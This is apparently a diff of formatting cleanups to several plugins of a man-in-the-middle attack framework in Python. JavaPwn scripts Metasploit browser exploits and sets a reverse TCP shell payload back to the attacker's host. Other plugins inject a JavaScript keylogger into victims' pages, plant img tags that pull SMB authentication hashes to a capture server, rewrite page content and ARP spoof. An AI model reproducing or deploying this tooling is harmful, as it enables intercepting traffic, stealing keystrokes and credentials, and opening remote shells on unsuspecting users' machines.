msf = msfinstance msf = msfinstance
#here we check to see if we already set up the exploit to avoid creating new jobs for no reason #here we check to see if we already set up the exploit to avoid creating new jobs for no reason
jobs = msf.call('job.list') #get running jobs jobs = msf.call('job.list') #get running jobs
if len(jobs) > 0: if len(jobs) > 0:
for k,v in jobs.items(): for k, v in jobs.items():
info = msf.call('job.info', [k]) info = msf.call('job.info', [k])
if exploit in info['name']: if exploit in info['name']:
logging.info('%s >> %s exploit already started' % (vic_ip, exploit)) logging.info('%s >> %s exploit already started' % (vic_ip, exploit))
url = info['uripath'] #get the url assigned to the exploit url = info['uripath'] #get the url assigned to the exploit
self.injectWait(msf, url, vic_ip) self.injectWait(msf, url, vic_ip)
else: #here we setup the exploit else: #here we setup the exploit
rand_url = self.rand_url() # generate a random url rand_url = self.rand_url() #generate a random url
rand_port = random.randint(1000, 65535) # generate a random port for the payload listener rand_port = random.randint(1000, 65535) #generate a random port for the payload listener
#generate the command string to send to the virtual console #generate the command string to send to the virtual console
@ -140,7 +139,7 @@ class JavaPwn(BrowserProfiler, Plugin):
cmd = "use exploit/multi/browser/%s\n" % exploit cmd = "use exploit/multi/browser/%s\n" % exploit
cmd += "set SRVPORT %s\n" % self.msfport cmd += "set SRVPORT %s\n" % self.msfport
cmd += "set URIPATH %s\n" % rand_url cmd += "set URIPATH %s\n" % rand_url
cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter (plus its multi-platform! Yay java!) cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter (plus its multi-platform! Yay java!)
cmd += "set LHOST %s\n" % self.msfip cmd += "set LHOST %s\n" % self.msfip
cmd += "set LPORT %s\n" % rand_port cmd += "set LPORT %s\n" % rand_port
cmd += "exploit -j\n" cmd += "exploit -j\n"
@ -175,7 +174,7 @@ class JavaPwn(BrowserProfiler, Plugin):
options.add_argument('--msfport', dest='msfport', default='8080', help='Port of MSF web-server [default: 8080]') options.add_argument('--msfport', dest='msfport', default='8080', help='Port of MSF web-server [default: 8080]')
options.add_argument('--rpcip', dest='rpcip', default='127.0.0.1', help='IP of MSF MSGRPC server [default: localhost]') options.add_argument('--rpcip', dest='rpcip', default='127.0.0.1', help='IP of MSF MSGRPC server [default: localhost]')
options.add_argument('--rpcpass', dest='rpcpass', default='abc123', help='Password for the MSF MSGRPC server [default: abc123]') options.add_argument('--rpcpass', dest='rpcpass', default='abc123', help='Password for the MSF MSGRPC server [default: abc123]')
options.add_argument('--javapwncfg', type=file, help='Specify a config file') options.add_argument('--javapwncfg', type=file, help='Specify a config file [default: javapwn.cfg]')
def finish(self): def finish(self):
'''This will be called when shutting down''' '''This will be called when shutting down'''
@ -185,7 +184,7 @@ class JavaPwn(BrowserProfiler, Plugin):
jobs = msf.call('job.list') jobs = msf.call('job.list')
if len(jobs) > 0: if len(jobs) > 0:
print '[*] Stopping all running metasploit jobs' print '[*] Stopping all running metasploit jobs'
for k,v in jobs.items(): for k, v in jobs.items():
msf.call('job.stop', [k]) msf.call('job.stop', [k])
consoles = msf.call('console.list')['consoles'] consoles = msf.call('console.list')['consoles']

View file

@ -2,14 +2,15 @@ from plugins.plugin import Plugin
from plugins.Inject import Inject from plugins.Inject import Inject
import logging import logging
class jskeylogger(Inject, Plugin): class jskeylogger(Inject, Plugin):
name = "Javascript Keylogger" name = "Javascript Keylogger"
optname = "jskeylogger" optname = "jskeylogger"
desc = "Injects a javascript keylogger into clients webpages" desc = "Injects a javascript keylogger into clients webpages"
implements = ["handleResponse","handleHeader","connectionMade", "sendPostData"] implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"]
has_opts = False has_opts = False
def initialize(self,options): def initialize(self, options):
Inject.initialize(self, options) Inject.initialize(self, options)
self.html_payload = self.msf_keylogger() self.html_payload = self.msf_keylogger()
print "[*] Javascript Keylogger plugin online" print "[*] Javascript Keylogger plugin online"

View file

@ -1,23 +1,28 @@
import os,subprocess,logging,time,re #import os
import argparse #import subprocess
import sys
import logging
import time
import re
from plugins.plugin import Plugin from plugins.plugin import Plugin
from plugins.CacheKill import CacheKill from plugins.CacheKill import CacheKill
class Replace(CacheKill,Plugin):
class Replace(CacheKill, Plugin):
name = "Replace" name = "Replace"
optname = "replace" optname = "replace"
implements = ["handleResponse","handleHeader","connectionMade"] implements = ["handleResponse", "handleHeader", "connectionMade"]
has_opts = True has_opts = True
desc = "Replace arbitrary content in HTML content" desc = "Replace arbitrary content in HTML content"
def initialize(self,options): def initialize(self, options):
self.options = options self.options = options
self.search_str = options.search_str self.search_str = options.search_str
self.replace_str = options.replace_str self.replace_str = options.replace_str
self.regex_file = options.regex_file self.regex_file = options.regex_file
if (self.search_str==None or self.search_str=="") and self.regex_file is None: if (self.search_str is None or self.search_str == "") and self.regex_file is None:
sys.exit("[*] Please provide a search string or a regex file") sys.exit("[*] Please provide a search string or a regex file")
self.regexes = [] self.regexes = []
@ -36,44 +41,43 @@ class Replace(CacheKill,Plugin):
print "[*] Replace plugin online" print "[*] Replace plugin online"
def handleResponse(self,request,data): def handleResponse(self, request, data):
ip,hn,mime = self._get_req_info(request) ip, hn, mime = self._get_req_info(request)
if self._should_replace(ip,hn,mime): if self._should_replace(ip, hn, mime):
if self.search_str!=None and self.search_str!="": if self.search_str is not None and self.search_str != "":
data = data.replace(self.search_str, self.replace_str) data = data.replace(self.search_str, self.replace_str)
logging.info("%s [%s] Replaced '%s' with '%s'" % (request.client.getClientIP(), request.headers['host'], self.search_str, self.replace_str)) logging.info("%s [%s] Replaced '%s' with '%s'" % (request.client.getClientIP(), request.headers['host'], self.search_str, self.replace_str))
# Did the user provide us with a regex file? # Did the user provide us with a regex file?
for regex in self.regexes: for regex in self.regexes:
try: try:
data = re.sub(regex[0], regex[1], data) data = re.sub(regex[0], regex[1], data)
logging.info("%s [%s] Occurances matching '%s' replaced with '%s'" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1])) logging.info("%s [%s] Occurances matching '%s' replaced with '%s'" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1]))
except Exception, e: except Exception:
logging.error("%s [%s] Your provided regex (%s) or replace value (%s) is empty or invalid. Please debug your provided regex(es)" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1])) logging.error("%s [%s] Your provided regex (%s) or replace value (%s) is empty or invalid. Please debug your provided regex(es)" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1]))
self.ctable[ip] = time.time() self.ctable[ip] = time.time()
self.dtable[ip+hn] = True self.dtable[ip+hn] = True
return {'request':request,'data':data} return {'request': request, 'data': data}
return return
def add_options(self,options): def add_options(self, options):
options.add_argument("--search-str",type=str,default=None,help="String you would like to replace --replace-str with. Default: '' (empty string)") options.add_argument("--search-str", type=str, default=None, help="String you would like to replace --replace-str with. Default: '' (empty string)")
options.add_argument("--replace-str",type=str,default="",help="String you would like to replace.") options.add_argument("--replace-str", type=str, default="", help="String you would like to replace.")
options.add_argument("--regex-file",type=file,help="Load file with regexes. File format: <regex1>[tab]<regex2>[new-line]") options.add_argument("--regex-file", type=file, help="Load file with regexes. File format: <regex1>[tab]<regex2>[new-line]")
options.add_argument("--keep-cache",action="store_true",help="Don't kill the server/client caching.") options.add_argument("--keep-cache", action="store_true", help="Don't kill the server/client caching.")
def _should_replace(self,ip,hn,mime): def _should_replace(self, ip, hn, mime):
return mime.find(self.mime)!=-1 return mime.find(self.mime) != -1
def _get_req_info(self,request): def _get_req_info(self, request):
ip = request.client.getClientIP() ip = request.client.getClientIP()
hn = request.client.getRequestHostname() hn = request.client.getRequestHostname()
mime = request.client.headers['Content-Type'] mime = request.client.headers['Content-Type']
return (ip,hn,mime) return (ip, hn, mime)

View file

@ -1,22 +1,22 @@
from plugins.plugin import Plugin from plugins.plugin import Plugin
from plugins.Inject import Inject from plugins.Inject import Inject
class SMBAuth(Inject,Plugin):
class SMBAuth(Inject, Plugin):
name = "SMBAuth" name = "SMBAuth"
optname = "smbauth" optname = "smbauth"
desc = "Evoke SMB challenge-response auth attempts" desc = "Evoke SMB challenge-response auth attempts"
def initialize(self,options): def initialize(self, options):
Inject.initialize(self,options) Inject.initialize(self, options)
self.target_ip = options.host self.target_ip = options.host
self.html_payload = self._get_data() self.html_payload = self._get_data()
print "[*] SMBAuth plugin online" print "[*] SMBAuth plugin online"
def add_options(self,options): def add_options(self, options):
options.add_argument("--host", type=str, help="The ip address of your capture server") options.add_argument("--host", type=str, help="The ip address of your capture server")
def _get_data(self): def _get_data(self):
return '<img src=\"\\\\%s\\image.jpg\">'\ return '<img src=\"\\\\%s\\image.jpg\">'\
'<img src=\"file://///%s\\image.jpg\">'\ '<img src=\"file://///%s\\image.jpg\">'\
'<img src=\"moz-icon:file:///%%5c/%s\\image.jpg\">'\ '<img src=\"moz-icon:file:///%%5c/%s\\image.jpg\">' % tuple([self.target_ip]*3)
% tuple([self.target_ip]*3)

View file

@ -42,7 +42,7 @@ class Spoof(Plugin):
self.target = options.target self.target = options.target
self.arpmode = options.arpmode self.arpmode = options.arpmode
self.port = self.options.listen self.port = self.options.listen
self.manualiptables = options.manualiptables #added by alexander.georgiev@daloo.de self.manualiptables = options.manualiptables #added by alexander.georgiev@daloo.de
self.debug = False self.debug = False
self.send = True self.send = True

View file

@ -1,47 +1,49 @@
import logging import logging
from cStringIO import StringIO from cStringIO import StringIO
from plugins.plugin import Plugin from plugins.plugin import Plugin
from PIL import Image
class Upsidedownternet(Plugin): class Upsidedownternet(Plugin):
name = "Upsidedownternet" name = "Upsidedownternet"
optname = "upsidedownternet" optname = "upsidedownternet"
desc = 'Flips images 180 degrees' desc = 'Flips images 180 degrees'
has_opts = False has_opts = False
implements = ["handleResponse","handleHeader"] implements = ["handleResponse", "handleHeader"]
def initialize(self,options): def initialize(self, options):
from PIL import Image,ImageFile from PIL import Image, ImageFile
globals()['Image'] = Image globals()['Image'] = Image
globals()['ImageFile'] = ImageFile globals()['ImageFile'] = ImageFile
self.options = options self.options = options
def handleHeader(self,request,key,value): def handleHeader(self, request, key, value):
'''Kill the image skipping that's in place for speed reasons''' '''Kill the image skipping that's in place for speed reasons'''
if request.isImageRequest: if request.isImageRequest:
request.isImageRequest = False request.isImageRequest = False
request.isImage = True request.isImage = True
request.imageType = value.split("/")[1].upper() request.imageType = value.split("/")[1].upper()
def handleResponse(self,request,data): def handleResponse(self, request, data):
try: try:
isImage = getattr(request,'isImage') isImage = getattr(request, 'isImage')
except AttributeError: except AttributeError:
isImage = False isImage = False
if isImage: if isImage:
try: try:
image_type=request.imageType image_type = request.imageType
#For some reason more images get parsed using the parser #For some reason more images get parsed using the parser
#rather than a file...PIL still needs some work I guess #rather than a file...PIL still needs some work I guess
p = ImageFile.Parser() p = Image.Parser()
p.feed(data) p.feed(data)
im = p.close() im = p.close()
im=im.transpose(Image.ROTATE_180) im = im.transpose(Image.ROTATE_180)
output = StringIO() output = StringIO()
im.save(output,format=image_type) im.save(output, format=image_type)
data=output.getvalue() data = output.getvalue()
output.close() output.close()
logging.info("Flipped image") logging.info("Flipped image")
except Exception as e: except Exception as e:
print "Error: %s" % e print "Error: %s" % e
return {'request':request,'data':data} return {'request': request, 'data': data}

View file

@ -3,16 +3,19 @@ The base plugin class. This shows the various methods that
can get called during the MITM attack. can get called during the MITM attack.
''' '''
class Plugin(object): class Plugin(object):
name = "Generic plugin" name = "Generic plugin"
optname = "generic" optname = "generic"
desc = "" desc = ""
implements = [] implements = []
has_opts = False has_opts = False
def __init__(self): def __init__(self):
'''Called on plugin instantiation. Probably don't need this''' '''Called on plugin instantiation. Probably don't need this'''
pass pass
def initialize(self,options):
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace''' '''Called if plugin is enabled, passed the options namespace'''
self.options = options self.options = options
@ -20,15 +23,15 @@ class Plugin(object):
'''Add your options to the options parser''' '''Add your options to the options parser'''
raise NotImplementedError raise NotImplementedError
def handleHeader(self,request,key,value): def handleHeader(self, request, key, value):
'''Handles all response headers''' '''Handles all response headers'''
raise NotImplementedError raise NotImplementedError
def connectionMade(self,request): def connectionMade(self, request):
'''Handles outgoing request''' '''Handles outgoing request'''
raise NotImplementedError raise NotImplementedError
def handleResponse(self,request,data): def handleResponse(self, request, data):
''' '''
Handles all non-image responses by default. See Upsidedownternet Handles all non-image responses by default. See Upsidedownternet
for how to get images for how to get images